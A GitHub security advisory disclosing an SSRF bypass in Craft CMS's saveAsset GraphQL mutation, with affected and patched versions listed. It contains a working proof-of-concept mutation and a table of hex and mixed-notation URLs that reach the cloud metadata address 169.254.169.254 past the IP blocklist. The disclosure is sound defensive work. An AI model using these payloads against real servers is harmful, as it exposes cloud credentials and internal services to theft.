Skip to content

SSRF in GraphQL Asset Mutation via Alternative IP Notation

Moderate
angrybrad published GHSA-m5r2-8p9x-hp5m Feb 9, 2026

Package

composer craftcms/cms (Composer)

Affected versions

>= 5.0.0-RC1, <= 5.8.21
>= 4.0.0-RC1, <= 4.16.17

Patched versions

5.8.22
4.16.18

Description

I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.


Summary

The saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.


Proof of Concept

  1. Send the following GraphQL mutation:
mutation {
    save_images_Asset(_file: { 
        url: "http://169.254.0xa9fe/latest/meta-data/"
        filename: "metadata.txt"
    }) {
        id
    }
}
  1. The IP validation passes (hex notation not recognized as IP)
  2. Guzzle resolves 169.254.0xa9fe to 169.254.169.254
  3. Cloud metadata is fetched and saved

Alternative Payloads

Payload Notation Resolves To
http://169.254.0xa9fe/ Mixed (decimal + hex) 169.254.169.254
http://0xa9.0xfe.0xa9.0xfe/ Full hex dotted 169.254.169.254
http://0xa9fea9fe/ Single hex integer 169.254.169.254

Technical Details

File: src/gql/resolvers/mutations/Asset.php
Root Cause: filter_var($hostname, FILTER_VALIDATE_IP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.

// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)

References

d49e93e

Severity

Moderate

CVE ID

CVE-2026-25494

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits